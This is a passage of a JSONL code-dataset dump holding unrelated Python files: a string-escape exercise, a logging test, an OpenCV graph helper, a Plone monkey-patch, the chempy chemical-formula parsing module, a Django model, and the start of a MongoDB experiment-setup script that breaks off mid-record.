cat.\"\n\nfat_cat = \"\"\"\nI'll do a list:\n\\t* Cat food\n\\t* Fishies\n\\t* Catnip\\n\\t* Grass\n\"\"\"\n\nprint(tabby_cat)\n\nprint(persian_cat)\n\nprint(backslash_cat)\n\nprint(fat_cat)","sub_path":"learning python the hardway/ex_10.py","file_name":"ex_10.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"61527472","text":"import os\nfrom buildtest.log import init_logfile\nfrom buildtest.utils.file import read_file\n\n\ndef test_init_logfile(tmp_path):\n logfile = os.path.join(tmp_path, \"buildtest.log\")\n print(f\"Logfile: {logfile}\")\n\n logger = init_logfile(logfile)\n assert logger\n\n # check if handler is defined\n assert logger.hasHandlers()\n # check if Log Level is set to DEBUG (10)\n assert logger.getEffectiveLevel() == 10\n\n # writing message at each log level\n logger.debug(\"DEBUG MESSAGE\")\n logger.info(\"INFO MESSAGE\")\n logger.warning(\"WARNING MESSAGE!\")\n logger.error(\"ERROR MESSAGE!!\")\n logger.critical(\"CRITICAL MESSAGE!!!\")\n content = read_file(logfile)\n print(content)\n","sub_path":"tests/test_log.py","file_name":"test_log.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"104727968","text":"import numpy as np\r\nimport cv2\r\n\r\nclass node:\r\n def __init__(self, coordinates):\r\n self.coordinates = np.array(coordinates)\r\n self.connections = dict()\r\n self.cost = np.inf\r\n node.nearest_node = None\r\n\r\n def __sub__(self, node):\r\n square = (self.coordinates - node.coordinates)**2\r\n a, b = self.coordinates\r\n c, d = node.coordinates\r\n return ((c - a) ** 2 + (d - b) ** 2) ** 0.5\r\n\r\n def connect(self, node):\r\n distance = np.sum((self.coordinates - node.coordinates)**2) ** 0.5\r\n self.connections[tuple(node.coordinates)] = (node, distance)\r\n node.connections[tuple(self.coordinates)] = (self, distance)\r\n\r\n def validate_and_connect(a, b, img):\r\n thickness = 2\r\n blank_image = np.zeros_like(img)\r\n\r\n blank_image = cv2.line(blank_image, tuple(np.int16(np.round(a.coordinates, 0))), tuple(np.int16(np.round(b.coordinates, 0))), 255, thickness)\r\n image = cv2.bitwise_and(blank_image, img)\r\n\r\n distance = a - b\r\n pixels = np.sum(image) / (thickness * 255)\r\n\r\n if pixels / distance > 1.4: #1.4\r\n a.connect(b)\r\n\r\n def set_costs_in_chain(node):\r\n node_list = [node]\r\n node_list[-1].cost = 0\r\n\r\n while node_list != []:\r\n node = node_list.pop()\r\n for key in node.connections.keys():\r\n g = node.cost + node.connections[key][1]\r\n if node.connections[key][0].cost > g:\r\n node_list.insert(0, node.connections[key][0])\r\n node.connections[key][0].cost = g\r\n node.connections[key][0].nearest_node = node","sub_path":"helper_class.py","file_name":"helper_class.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"453322967","text":"from DateTime import DateTime\nfrom AccessControl import ClassSecurityInfo\nfrom Products.CMFCore.utils import getToolByName\nfrom Products.PlonePAS.tools.membership import MembershipTool as PAS_MembershipTool \nfrom Products.CMFCore.MembershipTool import MembershipTool as CMFCore_MembershipTool \nfrom Products.PloneHelpCenter.Patch import monkeyPatch\nfrom config import *\nimport zLOG\n\nPATCH_PREFIX = '_monkey_'\n\n__refresh_module__ = 0\n\n\nclass Patched_CMFCore_MembershipTool:\n #\n # Squash getMemberareaCreationFlag: we ask BungeniMembership\n # about this on a per-member-type basis instead.\n #\n\n security = ClassSecurityInfo()\n\n security.declareProtected(permissions.ManagePortal, 'getMemberareaCreationFlag')\n def getMemberareaCreationFlag(self):\n return True\n\n\nclass Patched_PAS_MembershipTool:\n #\n # Introduce per-member-type member area creation.\n #\n\n security = ClassSecurityInfo()\n\n security.declarePublic('createMemberarea')\n def createMemberarea(self, member_id=None, minimal=True):\n \"\"\" Introduce per-member-type member area creation, and delegate\n to original.\n\n Ask portal_bungenimembership if our member type gets a home\n folder. If not, return immediately. Otherwise, let things take\n their course.\n \"\"\"\n # Grovel for the member .. \n membership = getToolByName(self, 'portal_membership')\n member = None\n\n if member_id:\n member = membership.getMemberById(member_id)\n else:\n member = membership.getAuthenticatedMember()\n\n if member:\n bmt = getToolByName(self, 'portal_bungenimembership')\n tt = getToolByName(self, 'portal_types')\n member_types_with_home_folders = bmt.getCreateMemberareaFor()\n fti = tt.getTypeInfo(member)\n if not fti.title in member_types_with_home_folders :\n return None\n\n self._monkey_createMemberarea(member_id, minimal)\n\nzLOG.LOG('Bungeni', zLOG.INFO, 'Monkey patching PlonePAS.tools.membership.MembershipTool')\nmonkeyPatch(CMFCore_MembershipTool, Patched_CMFCore_MembershipTool)\n\nzLOG.LOG('Bungeni', zLOG.INFO, 'Monkey patching CMFCore.MembershipTool')\nmonkeyPatch(PAS_MembershipTool, Patched_PAS_MembershipTool)\n","sub_path":"archived/Bungeni/branches/plone3/Patch.py","file_name":"Patch.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"19378526","text":"# -*- coding: utf-8 -*-\n\"\"\" Functions for chemical formulae and reactions \"\"\"\n\nfrom __future__ import (absolute_import, division, print_function)\n\nfrom collections import defaultdict\n\nimport re\nimport warnings\n\nfrom .pyutil import ChemPyDeprecationWarning, memoize\n\nparsing_library = 'pyparsing' # info used for selective testing.\n\n\n@memoize()\ndef _get_formula_parser():\n \"\"\" Create a forward pyparsing parser for chemical formulae\n\n BNF for simple chemical formula (no nesting)\n\n integer :: '0'..'9'+\n element :: 'A'..'Z' 'a'..'z'*\n term :: element [integer]\n formula :: term+\n\n\n BNF for nested chemical formula\n\n integer :: '0'..'9'+\n element :: 'A'..'Z' 'a'..'z'*\n term :: (element | '(' formula ')') [integer]\n formula :: term+\n\n Notes\n -----\n The code in this function is from an answer on StackOverflow:\n http://stackoverflow.com/a/18555142/790973\n written by:\n Paul McGuire, http://stackoverflow.com/users/165216/paul-mcguire\n in answer to the question formulated by:\n Thales MG, http://stackoverflow.com/users/2708711/thales-mg\n the code is licensed under 'CC-WIKI'.\n (see: http://blog.stackoverflow.com/2009/06/attribution-required/)\n\n \"\"\"\n _p = __import__(parsing_library)\n Forward, Group, OneOrMore = _p.Forward, _p.Group, _p.OneOrMore\n Optional, ParseResults, Regex = _p.Optional, _p.ParseResults, _p.Regex\n Suppress, Word, nums = _p.Suppress, _p.Word, _p.nums\n\n LPAR, RPAR = map(Suppress, \"()\")\n integer = Word(nums)\n\n # add parse action to convert integers to ints, to support doing addition\n # and multiplication at parse time\n integer.setParseAction(lambda t: int(t[0]))\n\n # element = Word(alphas.upper(), alphas.lower())\n # or if you want to be more specific, use this Regex\n element = Regex(\n r\"A[cglmrstu]|B[aehikr]?|C[adeflmorsu]?|D[bsy]|E[rsu]|F[emr]?|\"\n \"G[ade]|H[efgos]?|I[nr]?|Kr?|L[airu]|M[dgnot]|N[abdeiop]?|\"\n \"Os?|P[abdmortu]?|R[abefghnu]|S[bcegimnr]?|T[abcehilm]|\"\n \"Uu[bhopqst]|U|V|W|Xe|Yb?|Z[nr]\")\n\n # forward declare 'formula' so it can be used in definition of 'term'\n formula = Forward()\n\n term = Group((element | Group(LPAR + formula + RPAR)(\"subgroup\")) +\n Optional(integer, default=1)(\"mult\"))\n\n # define contents of a formula as one or more terms\n formula << OneOrMore(term)\n\n # add parse actions for parse-time processing\n\n # parse action to multiply out subgroups\n def multiplyContents(tokens):\n t = tokens[0]\n # if these tokens contain a subgroup, then use multiplier to\n # extend counts of all elements in the subgroup\n if t.subgroup:\n mult = t.mult\n for term in t.subgroup:\n term[1] *= mult\n return t.subgroup\n term.setParseAction(multiplyContents)\n\n # add parse action to sum up multiple references to the same element\n def sumByElement(tokens):\n elementsList = [t[0] for t in tokens]\n\n # construct set to see if there are duplicates\n duplicates = len(elementsList) > len(set(elementsList))\n\n # if there are duplicate element names, sum up by element and\n # return a new nested ParseResults\n if duplicates:\n ctr = defaultdict(int)\n for t in tokens:\n ctr[t[0]] += t[1]\n return ParseResults([ParseResults([k, v]) for k, v in ctr.items()])\n formula.setParseAction(sumByElement)\n\n return formula\n\nsymbols = (\n 'H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al',\n 'Si', 'P', 'S', 'Cl', 'Ar', 'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe',\n 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br', 'Kr', 'Rb', 'Sr',\n 'Y', 'Zr', 'Nb', 'Mo', 'Tc', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn',\n 'Sb', 'Te', 'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm',\n 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm', 'Yb', 'Lu', 'Hf', 'Ta', 'W',\n 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',\n 'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf',\n 'Es', 'Fm', 'Md', 'No', 'Lr', 'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds',\n 'Rg', 'Cn', 'Uut', 'Fl', 'Uup', 'Lv', 'Uus', 'Uuo'\n)\n\nnames = (\n 'Hydrogen', 'Helium', 'Lithium', 'Beryllium',\n 'Boron', 'Carbon', 'Nitrogen', 'Oxygen', 'Fluorine', 'Neon', 'Sodium',\n 'Magnesium', 'Aluminium', 'Silicon', 'Phosphorus', 'Sulfur',\n 'Chlorine', 'Argon', 'Potassium', 'Calcium', 'Scandium', 'Titanium',\n 'Vanadium', 'Chromium', 'Manganese', 'Iron', 'Cobalt', 'Nickel',\n 'Copper', 'Zinc', 'Gallium', 'Germanium', 'Arsenic', 'Selenium',\n 'Bromine', 'Krypton', 'Rubidium', 'Strontium', 'Yttrium', 'Zirconium',\n 'Niobium', 'Molybdenum', 'Technetium', 'Ruthenium', 'Rhodium',\n 'Palladium', 'Silver', 'Cadmium', 'Indium', 'Tin', 'Antimony',\n 'Tellurium', 'Iodine', 'Xenon', 'Caesium', 'Barium', 'Lanthanum',\n 'Cerium', 'Praseodymium', 'Neodymium', 'Promethium', 'Samarium',\n 'Europium', 'Gadolinium', 'Terbium', 'Dysprosium', 'Holmium',\n 'Erbium', 'Thulium', 'Ytterbium', 'Lutetium', 'Hafnium', 'Tantalum',\n 'Tungsten', 'Rhenium', 'Osmium', 'Iridium', 'Platinum', 'Gold',\n 'Mercury', 'Thallium', 'Lead', 'Bismuth', 'Polonium', 'Astatine',\n 'Radon', 'Francium', 'Radium', 'Actinium', 'Thorium', 'Protactinium',\n 'Uranium', 'Neptunium', 'Plutonium', 'Americium', 'Curium',\n 'Berkelium', 'Californium', 'Einsteinium', 'Fermium', 'Mendelevium',\n 'Nobelium', 'Lawrencium', 'Rutherfordium', 'Dubnium', 'Seaborgium',\n 'Bohrium', 'Hassium', 'Meitnerium', 'Darmstadtium', 'Roentgenium',\n 'Copernicium', '(Ununtrium)', 'Flerovium', '(Ununpentium)',\n 'Livermorium', '(Ununseptium)', '(Ununoctium)'\n)\n\nlower_names = tuple(n.lower().lstrip('(').rstrip(')') for n in names)\n\n\ndef atomic_number(name):\n try:\n return symbols.index(name) + 1\n except ValueError:\n return lower_names.index(name.lower()) + 1\n\n# The data in '_relative_atomic_masses' is licensed under the CC-SA license\n# https://en.wikipedia.org/w/index.php?title=List_of_elements&oldid=700476748\n_relative_atomic_masses = (\n \"1.008 4.002602(2) 6.94 9.0121831(5) 10.81 12.011 14.007 15.999\"\n \" 18.998403163(6) 20.1797(6) 22.98976928(2) 24.305 26.9815385(7) 28.085\"\n \" 30.973761998(5) 32.06 35.45 39.948(1) 39.0983(1) 40.078(4)\"\n \" 44.955908(5) 47.867(1) 50.9415(1) 51.9961(6) 54.938044(3) 55.845(2)\"\n \" 58.933194(4) 58.6934(4) 63.546(3) 65.38(2) 69.723(1) 72.630(8)\"\n \" 74.921595(6) 78.971(8) 79.904 83.798(2) 85.4678(3) 87.62(1)\"\n \" 88.90584(2) 91.224(2) 92.90637(2) 95.95(1) [98] 101.07(2) 102.90550(2)\"\n \" 106.42(1) 107.8682(2) 112.414(4) 114.818(1) 118.710(7) 121.760(1)\"\n \" 127.60(3) 126.90447(3) 131.293(6) 132.90545196(6) 137.327(7)\"\n \" 138.90547(7) 140.116(1) 140.90766(2) 144.242(3) [145] 150.36(2)\"\n \" 151.964(1) 157.25(3) 158.92535(2) 162.500(1) 164.93033(2) 167.259(3)\"\n \" 168.93422(2) 173.045(10) 174.9668(1) 178.49(2) 180.94788(2) 183.84(1)\"\n \" 186.207(1) 190.23(3) 192.217(3) 195.084(9) 196.966569(5) 200.592(3)\"\n \" 204.38 207.2(1) 208.98040(1) [209] [210] [222] [223] [226] [227]\"\n \" 232.0377(4) 231.03588(2) 238.02891(3) [237] [244] [243] [247] [247]\"\n \" [251] [252] [257] [258] [259] [266] [267] [268] [269] [270] [269]\"\n \" [278] [281] [282] [285] [286] [289] [289] [293] [294] [294]\"\n)\n\n\ndef _get_relative_atomic_masses():\n for mass in _relative_atomic_masses.split():\n if mass.startswith('[') and mass.endswith(']'):\n yield float(mass[1:-1])\n elif '(' in mass:\n yield float(mass.split('(')[0])\n else:\n yield(float(mass))\n\nrelative_atomic_masses = tuple(_get_relative_atomic_masses())\n\n\ndef mass_from_composition(composition):\n \"\"\" Calculates molecular mass from atomic weights\n\n Parameters\n ----------\n composition: dict\n Dictionary mapping int (atomic number) to int (coefficient)\n\n Returns\n -------\n float\n molecular weight in atomic mass units\n\n\n Notes\n -----\n Atomic number 0 denotes charge or \"net electron defficiency\"\n\n Examples\n --------\n >>> '%.2f' % mass_from_composition({0: -1, 1: 1, 8: 1})\n '17.01'\n \"\"\"\n mass = 0.0\n for k, v in composition.items():\n if k == 0: # electron\n mass -= v*5.489e-4\n else:\n mass += v*relative_atomic_masses[k-1]\n return mass\n\n\ndef _get_charge(chgstr):\n\n if chgstr == '+':\n return 1\n elif chgstr == '-':\n return -1\n\n for token, anti, sign in zip('+-', '-+', (1, -1)):\n if token in chgstr:\n if anti in chgstr:\n raise ValueError(\"Invalid charge description (+ & - present)\")\n before, after = chgstr.split(token)\n if len(before) > 0 and len(after) > 0:\n raise ValueError(\"Values both before and after charge token\")\n if len(before) > 0:\n # will_be_missing_in='0.5.0'\n warnings.warn(\"'Fe/3+' deprecated, use e.g. 'Fe+3'\",\n ChemPyDeprecationWarning, stacklevel=3)\n return sign * int(1 if before == '' else before)\n if len(after) > 0:\n return sign * int(1 if after == '' else after)\n raise ValueError(\"Invalid charge description (+ or - missing)\")\n\n\ndef _formula_to_parts(formula, prefixes, suffixes):\n # Drop prefixes and suffixes\n drop_pref, drop_suff = [], []\n for ign in prefixes:\n if formula.startswith(ign):\n drop_pref.append(ign)\n formula = formula[len(ign):]\n for ign in suffixes:\n if formula.endswith(ign):\n drop_suff.append(ign)\n formula = formula[:-len(ign)]\n\n # Extract charge\n if '/' in formula:\n # will_be_missing_in='0.5.0'\n warnings.warn(\"/ depr. (before 0.5.0): use 'Fe+3' over 'Fe/3+'\",\n ChemPyDeprecationWarning, stacklevel=3)\n parts = formula.split('/')\n\n if '+' in parts[0] or '-' in parts[0]:\n raise ValueError(\"Charge needs to be separated with a /\")\n if parts[1] is not None:\n wo_pm = parts[1].replace('+', '').replace('-', '')\n if wo_pm != '' and not str.isdigit(wo_pm):\n raise ValueError(\"Non-digits in charge specifier\")\n if len(parts) > 2:\n raise ValueError(\"At most one '/' allowed in formula\")\n else:\n for token in '+-':\n if token in formula:\n if formula.count(token) > 1:\n raise ValueError(\"Multiple tokens: %s\" % token)\n parts = formula.split(token)\n parts[1] = token + parts[1]\n break\n else:\n parts = [formula, None]\n return parts + [tuple(drop_pref), tuple(drop_suff[::-1])]\n\n\ndef _parse_stoich(stoich):\n if stoich == 'e': # special case, the electron is not an element\n return {}\n return {symbols.index(k)+1: n for k, n\n in _get_formula_parser().parseString(stoich)}\n\n_greek_letters = (\n 'alpha', 'beta', 'gamma', 'delta', 'epsilon', 'zeta', 'eta', 'theta',\n 'iota', 'kappa', 'lambda', 'mu', 'nu', 'xi', 'omicron', 'pi', 'rho',\n 'sigma', 'tau', 'upsilon', 'phi', 'chi', 'psi', 'omega'\n)\n_greek_u = u'αβγδεζηθικλμνξοπρστυφχψω'\n\n_latex_mapping = {k + '-': '\\\\' + k + '-' for k in _greek_letters}\n_latex_mapping['epsilon-'] = '\\\\varepsilon-'\n_latex_mapping['omicron-'] = 'o-'\n_latex_mapping['.'] = '^\\\\bullet '\n_latex_infix_mapping = {'.': '\\\\cdot '}\n\n_unicode_mapping = {k + '-': v + '-' for k, v in zip(_greek_letters, _greek_u)}\n_unicode_mapping['.'] = u'⋅'\n_unicode_infix_mapping = {'.': u'·'}\n\n_html_mapping = {k + '-': '&' + k + ';-' for k in _greek_letters}\n_html_mapping['.'] = '⋅'\n_html_infix_mapping = _html_mapping\n\n\ndef _get_leading_integer(s):\n m = re.findall(r'^\\d+', s)\n if len(m) == 0:\n m = 1\n elif len(m) == 1:\n s = s[len(m[0]):]\n m = int(m[0])\n else:\n raise ValueError(\"Failed to parse: %s\" % s)\n return m, s\n\n\ndef formula_to_composition(formula, prefixes=None,\n suffixes=('(s)', '(l)', '(g)', '(aq)')):\n \"\"\" Parse composition of formula representing a chemical formula\n\n Composition is represented as a dict mapping int -> int (atomic\n number -> multiplicity). \"Atomic number\" 0 represents net charge.\n\n Parameters\n ----------\n formula: str\n Chemical formula, e.g. 'H2O', 'Fe+3', 'Cl-'\n prefixes: iterable strings\n Prefixes to ignore, e.g. ('.', 'alpha-')\n suffixes: tuple of strings\n Suffixes to ignore, e.g. ('(g)', '(s)')\n\n Examples\n --------\n >>> formula_to_composition('NH4+') == {0: 1, 1: 4, 7: 1}\n True\n >>> formula_to_composition('.NHO-(aq)') == {0: -1, 1: 1, 7: 1, 8: 1}\n True\n >>> formula_to_composition('Na2CO3.7H2O') == {11: 2, 6: 1, 8: 10, 1: 14}\n True\n\n \"\"\"\n if prefixes is None:\n prefixes = _latex_mapping.keys()\n stoich_tok, chg_tok = _formula_to_parts(formula, prefixes, suffixes)[:2]\n tot_comp = {}\n parts = stoich_tok.split('.')\n for idx, stoich in enumerate(parts):\n if idx == 0:\n m = 1\n else:\n m, stoich = _get_leading_integer(stoich)\n comp = _parse_stoich(stoich)\n for k, v in comp.items():\n if k not in tot_comp:\n tot_comp[k] = m*v\n else:\n tot_comp[k] += m*v\n if chg_tok is not None:\n tot_comp[0] = _get_charge(chg_tok)\n return tot_comp\n\n\ndef _subs(string, patterns):\n for patt, repl in patterns.items():\n string = string.replace(patt, repl)\n return string\n\n\ndef _parse_multiplicity(strings, substance_keys=None):\n \"\"\"\n Examples\n --------\n >>> _parse_multiplicity(['2 H2O2', 'O2']) == {'H2O2': 2, 'O2': 1}\n True\n >>> _parse_multiplicity(['2 * H2O2', 'O2']) == {'H2O2': 2, 'O2': 1}\n True\n >>> _parse_multiplicity(['']) == {}\n True\n\n \"\"\"\n result = {}\n for items in [re.split(' \\* | ', s) for s in strings]:\n if len(items) == 1:\n if items[0] == '':\n continue\n result[items[0]] = 1\n elif len(items) == 2:\n result[items[1]] = int(items[0])\n else:\n raise ValueError(\"To many parts in substring\")\n if substance_keys is not None:\n for k in result:\n if k not in substance_keys:\n raise ValueError(\"Unkown substance_key: %s\" % k)\n return result\n\n\ndef to_reaction(line, substance_keys, token, Cls, globals_=None, **kwargs):\n \"\"\" Parses a string into a Reaction object and substances\n\n Reac1 + 2 Reac2 + (2 Reac1) -> Prod1 + Prod2; 10**3.7; ref='doi:12/ab'\n Reac1 = Prod1; 2.1;\n\n Parameters\n ----------\n line: str\n string representation to be parsed\n substance_keys: iterable of strings\n Allowed names, e.g. ('H2O', 'H+', 'OH-')\n token : str\n delimiter token between reactant and product side\n Cls : class\n e.g. subclass of Reaction\n globals_: dict (optional)\n Globals passed on to :func:`eval`, when ``None``:\n `chempy.units.default_units` is used with 'chempy'\n and 'default_units' extra entries.\n\n Notes\n -----\n This function calls :func:`eval`, hence there are severe security concerns\n with running this on untrusted data.\n\n \"\"\"\n # TODO: add handling of units.\n if globals_ is None:\n import chempy\n from chempy.kinetics import rates\n from chempy.units import default_units\n globals_ = {k: getattr(rates, k) for k in dir(rates)}\n globals_.update({'chempy': chempy, 'default_units': default_units})\n if default_units is not None:\n globals_.update(default_units.as_dict())\n try:\n stoich, param, kw = map(str.strip, line.rstrip('\\n').split(';'))\n except ValueError:\n if ';' in line:\n stoich, param = map(str.strip, line.rstrip('\\n').split(';'))\n else:\n stoich, param = line.strip(), kwargs.pop('param', 'None')\n else:\n kwargs.update({} if globals_ is False else eval('dict('+kw+')', globals_))\n\n if isinstance(param, str):\n param = None if globals_ is False else eval(param, globals_)\n\n if token not in stoich:\n raise ValueError(\"Missing token: %s\" % token)\n\n reac_prod = [[y.strip() for y in x.split(' + ')] for\n x in stoich.split(token)]\n\n act, inact = [], []\n for side in reac_prod:\n if side[-1].startswith('('):\n if not side[-1].endswith(')'):\n raise ValueError(\"Bad format (missing closing paren)\")\n inact.append(_parse_multiplicity(side[-1][1:-1].split(' + '),\n substance_keys))\n act.append(_parse_multiplicity(side[:-1], substance_keys))\n else:\n inact.append({})\n act.append(_parse_multiplicity(side, substance_keys))\n\n # stoich coeff -> dict\n return Cls(act[0], act[1], param, inact_reac=inact[0],\n inact_prod=inact[1], **kwargs)\n\n\ndef _formula_to_format(sub, sup, formula, prefixes=None,\n infixes=None, suffixes=('(s)', '(l)', '(g)', '(aq)')):\n parts = _formula_to_parts(formula, prefixes.keys(), suffixes)\n stoichs = parts[0].split('.')\n string = ''\n for idx, stoich in enumerate(stoichs):\n if idx == 0:\n m = 1\n else:\n m, stoich = _get_leading_integer(stoich)\n string += _subs('.', infixes)\n if m != 1:\n string += str(m)\n string += re.sub(r'([0-9]+)', lambda m: sub(m.group(1)), stoich)\n\n if parts[1] is not None:\n chg = _get_charge(parts[1])\n if chg < 0:\n token = '-' if chg == -1 else '%d-' % -chg\n if chg > 0:\n token = '+' if chg == 1 else '%d+' % chg\n string += sup(token)\n if len(parts) > 4:\n raise ValueError(\"Incorrect formula\")\n pre_str = ''.join(map(lambda x: _subs(x, prefixes), parts[2]))\n return pre_str + string + ''.join(parts[3])\n\n\ndef formula_to_latex(formula, prefixes=None, infixes=None, **kwargs):\n r\"\"\" Convert formula string to latex representation\n\n Parameters\n ----------\n formula: str\n Chemical formula, e.g. 'H2O', 'Fe+3', 'Cl-'\n prefixes: dict\n Prefix transofmrations, default: greek letters and .\n infixes: dict\n Infix transformations, default: .\n suffixes: iterable of str\n What suffixes not to interpret, default: (s), (l), (g), (aq)\n\n Examples\n --------\n >>> formula_to_latex('NH4+')\n 'NH_{4}^{+}'\n >>> formula_to_latex('Fe(CN)6+2')\n 'Fe(CN)_{6}^{2+}'\n >>> formula_to_latex('Fe(CN)6+2(aq)')\n 'Fe(CN)_{6}^{2+}(aq)'\n >>> formula_to_latex('.NHO-(aq)')\n '^\\\\bullet NHO^{-}(aq)'\n >>> formula_to_latex('alpha-FeOOH(s)')\n '\\\\alpha-FeOOH(s)'\n\n \"\"\"\n if prefixes is None:\n prefixes = _latex_mapping\n if infixes is None:\n infixes = _latex_infix_mapping\n return _formula_to_format(lambda x: '_{%s}' % x, lambda x: '^{%s}' % x,\n formula, prefixes, infixes, **kwargs)\n\n\ndef number_to_scientific_latex(number, fmt='%.3g'):\n r\"\"\"\n Examples\n --------\n >>> number_to_scientific_latex(3.14) == '3.14'\n True\n >>> number_to_scientific_latex(3.14159265e-7)\n '3.14\\\\cdot 10^{-7}'\n >>> import quantities as pq\n >>> number_to_scientific_latex(2**0.5 * pq.m / pq.s)\n '1.41 \\\\mathrm{\\\\frac{m}{s}}'\n\n \"\"\"\n try:\n unit = ' ' + number.dimensionality.latex.strip('$')\n number = number.magnitude\n except AttributeError:\n unit = ''\n s = fmt % number\n if 'e' in s:\n prefix, suffix = s.split('e')\n return prefix + r'\\cdot 10^{%s}' % str(int(suffix)) + unit\n else:\n return s + unit\n\n_unicode_sub = {}\n\nfor k, v in enumerate(u\"₀₁₂₃₄₅₆₇₈₉\"):\n _unicode_sub[str(k)] = v\n\n_unicode_sup = {\n '+': u'⁺',\n '-': u'⁻',\n}\n\nfor k, v in enumerate(u\"⁰¹²³⁴⁵⁶⁷⁸⁹\"):\n _unicode_sup[str(k)] = v\n\n\ndef formula_to_unicode(formula, prefixes=None, infixes=None, **kwargs):\n u\"\"\" Convert formula string to unicode string representation\n\n Parameters\n ----------\n formula : str\n Chemical formula, e.g. 'H2O', 'Fe+3', 'Cl-'\n prefixes : dict\n Prefix transofmrations, default: greek letters and .\n infixes : dict\n Infix transofmrations, default: .\n suffixes : tuple of strings\n Suffixes to keep, e.g. ('(g)', '(s)')\n\n Examples\n --------\n >>> formula_to_unicode('NH4+') == u'NH₄⁺'\n True\n >>> formula_to_unicode('Fe(CN)6+2') == u'Fe(CN)₆²⁺'\n True\n >>> formula_to_unicode('Fe(CN)6+2(aq)') == u'Fe(CN)₆²⁺(aq)'\n True\n >>> formula_to_unicode('.NHO-(aq)') == u'⋅NHO⁻(aq)'\n True\n >>> formula_to_unicode('alpha-FeOOH(s)') == u'α-FeOOH(s)'\n True\n\n \"\"\"\n if prefixes is None:\n prefixes = _unicode_mapping\n if infixes is None:\n infixes = _unicode_infix_mapping\n return _formula_to_format(\n lambda x: ''.join(_unicode_sub[str(_)] for _ in x),\n lambda x: ''.join(_unicode_sup[str(_)] for _ in x),\n formula, prefixes, infixes, **kwargs)\n\n\ndef number_to_scientific_unicode(number, fmt='%.3g'):\n u\"\"\"\n Examples\n --------\n >>> number_to_scientific_unicode(3.14) == u'3.14'\n True\n >>> number_to_scientific_unicode(3.14159265e-7) == u'3.14·10⁻⁷'\n True\n >>> import quantities as pq\n >>> number_to_scientific_html(2**0.5 * pq.m / pq.s)\n '1.41 m/s'\n\n \"\"\"\n try:\n unit = ' ' + number.dimensionality.unicode\n number = number.magnitude\n except AttributeError:\n unit = ''\n s = fmt % number\n if 'e' in s:\n prefix, suffix = s.split('e')\n return prefix + u'·10' + u''.join(map(_unicode_sup.get, str(int(suffix)))) + unit\n else:\n return s + unit\n\n\ndef formula_to_html(formula, prefixes=None, infixes=None, **kwargs):\n u\"\"\" Convert formula string to html string representation\n\n Parameters\n ----------\n formula : str\n Chemical formula, e.g. 'H2O', 'Fe+3', 'Cl-'\n prefixes : dict\n Prefix transformations, default: greek letters and .\n infixes : dict\n Infix transformations, default: .\n suffixes : tuple of strings\n Suffixes to keep, e.g. ('(g)', '(s)')\n\n Examples\n --------\n >>> formula_to_html('NH4+')\n 'NH4+'\n >>> formula_to_html('Fe(CN)6+2')\n 'Fe(CN)62+'\n >>> formula_to_html('Fe(CN)6+2(aq)')\n 'Fe(CN)62+(aq)'\n >>> formula_to_html('.NHO-(aq)')\n '⋅NHO-(aq)'\n >>> formula_to_html('alpha-FeOOH(s)')\n 'α-FeOOH(s)'\n\n \"\"\"\n if prefixes is None:\n prefixes = _html_mapping\n if infixes is None:\n infixes = _html_infix_mapping\n return _formula_to_format(lambda x: '%s' % x,\n lambda x: '%s' % x,\n formula, prefixes, infixes, **kwargs)\n\n\ndef number_to_scientific_html(number, fmt='%.3g'):\n \"\"\"\n Examples\n --------\n >>> number_to_scientific_html(3.14) == '3.14'\n True\n >>> number_to_scientific_html(3.14159265e-7)\n '3.14⋅10-7'\n >>> import quantities as pq\n >>> number_to_scientific_html(2**0.5 * pq.m / pq.s)\n '1.41 m/s'\n\n \"\"\"\n try:\n unit = ' ' + str(number.dimensionality)\n number = number.magnitude\n except AttributeError:\n unit = ''\n s = fmt % number\n if 'e' in s:\n prefix, suffix = s.split('e')\n return prefix + '⋅10' + str(int(suffix)) + '' + unit\n else:\n return s + unit\n","sub_path":"chempy/util/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":23875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"262551966","text":"from __future__ import unicode_literals\n\nfrom django.db import models\n\n\n# Create your models here.\n\nclass Test(models.Model):\n\tname = models.CharField(max_length=20)\n\tage = models.IntegerField()\n\ttime = models.DateField(auto_now=True)\n\twhen = models.DateTimeField()\n\t# def __unicode__(self): \n\t# \treturn self.name\n\n","sub_path":"Django/Hello/TestModel/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"525932257","text":"import centralStorageClass\n\npath = os.getenv('DB_CONN', 'mongodb://elwin-storage:27017')\n\ncsc = centralStorageClass.mongoStorage(path)\n\n\ncsc.remove_namespace('test', 'epe-1')\ncsc.remove_namespace('test', 'epe-2')\ncsc.remove_namespace('test', 'loy-1')\ncsc.add_namespace('test', 'epe-1', 'epe', 10)\ncsc.add_namespace('test', 'epe-2', 'epe', 10)\ncsc.add_namespace('test', 'loy-1', 'loy', 10)\n\ncsc.add_experiment('test', 'epe-1', 'imageTest', 10, {\n \"op\": \"seq\",\n \"seq\": [\n {\n \"op\": \"set\",\n \"var\": \"version\",\n \"value\": {\n \"choices\": {\n \"op\": \"array\",\n \"values\": 